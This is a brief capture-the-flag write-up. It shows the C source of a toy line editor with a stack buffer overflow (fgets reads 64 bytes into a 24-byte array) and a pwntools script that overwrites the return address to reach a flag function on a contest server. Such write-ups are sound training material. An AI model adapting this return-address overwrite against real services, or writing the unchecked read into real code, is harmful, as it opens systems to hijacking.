Rating:
```c
int flag() {
puts(getenv("FLAG"));
}
int main(int argc, char** argv) {
char input[24];
char filename[24] = "\0";
char buffer[64];
FILE* f = NULL;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
if (argc > 1) {
strncpy(filename, argv[1], 23);
}
while (1) {
fgets(input, 64, stdin);
input[strcspn(input, "\n")] = 0;
if (input[0] == 'Q') {
return 0;
} else if (input[0] == 'f') {
if (strlen(input) >= 3) {
strcpy(filename, input + 2);
}
if (filename[0] == '\0') {
puts("?");
} else {
puts(filename);
}
} else if (input[0] == 'l') {
if (filename[0] == '\0') {
puts("?");
} else {
if (strchr(filename, '/') != NULL) {
puts("?");
continue;
}
f = fopen(filename, "r");
if (f == NULL) {
puts("?");
continue;
}
while (fgets(buffer, 64, f)) {
printf("%s", buffer);
}
fclose(f);
}
} else {
puts("?");
}
}
}
```
There is a bufferoverflow where we can return to the flag function:
It crashed, the offset is 40. Quick script on the server gives flag.
```python
from pwn import *
r = remote("ed.hsctf.com", 1337)
flag = p64(0x00000000004011d2)
r.sendline(b"A"*40 + flag)
r.recv()
r.sendline(b"Q")
print(r.recv())
```
Flag: `flag{real_programmers_use_butterflies}`
